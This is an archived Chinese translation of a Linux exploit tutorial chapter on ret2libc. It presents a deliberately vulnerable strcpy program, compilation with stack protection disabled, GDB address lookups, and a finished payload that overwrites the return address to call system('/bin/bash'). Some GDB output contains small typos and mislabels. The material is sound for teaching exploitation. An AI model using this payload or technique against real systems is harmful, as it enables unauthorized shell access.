用户工具

站点工具


习科旧站:ret2libc

Linux Exploit开发教程 第三章 ret2libc

作者:sickn3ss
翻译:YoCo Smart
警告:文章中的操作风险过高,依照文章内容测试应该在虚拟机环境下

在阅读本文之前,最好是有一定的基础,原文作者给大家整理了一些教程。

其他参考资料: Linux Exploit开发教程 第一章 堆栈溢出 | Linux Exploit开发教程 第二章 ret2reg指令绕过ASLR堆栈溢出 | ASM基础 | GDB相关

在第二章中用gcc对对漏洞程序编译时,我们使用了flag-z的堆栈执行(exec stack)的方式,但是现在大多数操作系统在默认情况下是非执行堆栈(non-exec stack)的方式
当然了,上次的程序是在BT4 R2中搞出来的,这次咱们换Debian Squeeze啦 😛

阅读本文仍然需要一些基础知识:

  1. 缓冲区溢出的概念
  2. ASM基础和C/C++
  3. 用于编程的基本语法
  4. GDB最基本的知识
  5. EXP技术

开始

我们先弄明白什么是非执行堆栈(non-exec stack),很好理解,非执行堆栈是为避免堆或者堆栈的内存区域被植入恶意代码执行,当然也可以直接防止一部分内存被写入恶意代码。
换句话说,这是个防止缓冲区溢出的功能。
本文并非详解非执行堆栈,如果你想了解非执行堆栈具体的工作等,可以参见维基百科

绕过非执行堆栈保护

既然我们无法执行甚至无法植入我们的恶意代码,那该怎么办呢?可以使用ret2libc(Return to libc)这个技术绕过非执行堆栈保护
你现在应该觉得libc技术会很有用,不过,你真的知道什么是libc吗?

上一章缓冲区溢出代码结构是这样的,如果你还有印象的话

JUNK + NOP sled + SC (Shell code) + EIP (overwrite with a JMP/CALL instruction to a register that points in our JUNK/NOP sled)

可惜现在是非堆栈执行啦,上面的代码如果不是在堆栈执行的模式下,是没用的。

libc是怎么来的:不再用指令覆盖EIP,直接调用libc库中我们需要的函数覆盖
实际上你可以在任何位置返回代码,不过libc的方法很广泛,因为它直接和程序相连,并且是最有效的调用。

你应该已经差不多了解个大概了,我们下面一步一步演示这个技术

又双叒叕是一个溢出

#include <stdio.h>
#include <string.h>
void evil(char* input)
{
char buffer[500];
strcpy(buffer, input); //我是漏洞 :-P
printf("Buffer stored!\n");
printf("Buffer is: %s\n\n",input);
}
int main(int argc, char** argv)
{
evil(argv[1]);
return 0;
}

上一章我们是在堆栈执行无保护的情况下使用gcc编译的,这次呢,我们不做处理,直接让他在非堆栈执行的默认模式下编译。

gcc -ggdb -fno-stack-protector -o vulnerable vulnerable.c 

将漏洞程序快速的附到gdb然后在call evil这个地方设置断点,然后从evil函数ret的地方开始计算payload所需要的偏移。

断点已经放置好了,我们植进一些垃圾代码让程序去处理看看会发生什么

通过上面的测试,我们知道应该用8字节以上的数据进行覆盖,也就是说总共加起来需要516字节的代码

我们发送的垃圾数据为512字节,剩下的4个字节是libc函数填充的

继续回到gdb中看看不发送

maint info sections ALLOBJ

这个指令的情况下libc是否可用

你应该注意到了,没有任何的NULL字节,libc是可用的

分析

记得我说过,需要516字节以上的偏移,还有一开始我就说过我们不用JMP/CALL指令来覆盖EIP,因为结果会变成segfault
我们要做的是用libc的函数覆盖EIP,然后通过调用不同的函数来传递所需要的参数。

这两个函数是我们要重点用到的:

system() 这个函数用于执行指令或者参数程序
exit() 显而易见,终止退出的函数

我们下一步要做的就是找出system()和exit()两个函数的地址,当然了,还要找到/bin/bash的地址,让它来作为system()执行的参数,这个就是EXP的骨架了:

JUNK * 512 + system()函数地址 + exit()函数地址 + /bin/bash地址

好了,试着找出我们需要的地址以便进一步完成EXP吧

(gdb) print sysem
$7 = {<text variable, no debug info>} 0xb7ec6180 <system>
(gdb)

从图中来看system()的地址应该没什么问题,继续

(gdb) print exit
$9 = {<text variable, no debug info>} 0xb7ebc300 <system>
(gdb)

可惜地址中包含一个null字节,所以应该没什么用。好在exit()不是必须的,缺了它也可以的~我们的selvs中要是发现有像这样exit()包含null字节的情况,我们就要重新找一个像exit+偏移这样类似的来代替,以便exp更好的运行
比方说。、、看一下这里:0xb7ebc304,是滴,有一个<exit+4>,这正是我们需要的

(gdb) x/s 0xb7ebc304
0xb7ebc304 <exit+4>; "\350\246w\376\377\201\303\353,\021"
(gdb)

继续看/bin/basn

(gdb) x/4000s $esp

找到以后这样:

剩下的我们只要更改一下地址,以便system()函数获取/bin/bash参数

EXP

JUNK * 512 + "\x80\x61\xec\xb7" + "\x04\xc3\xeb\xb7" + "\x73\xf7\xff\xbf"

测试:



你需要登录发表评论。
习科旧站/ret2libc.txt · 最后更改: 2020/05/16 19:19 (外部编辑)

页面工具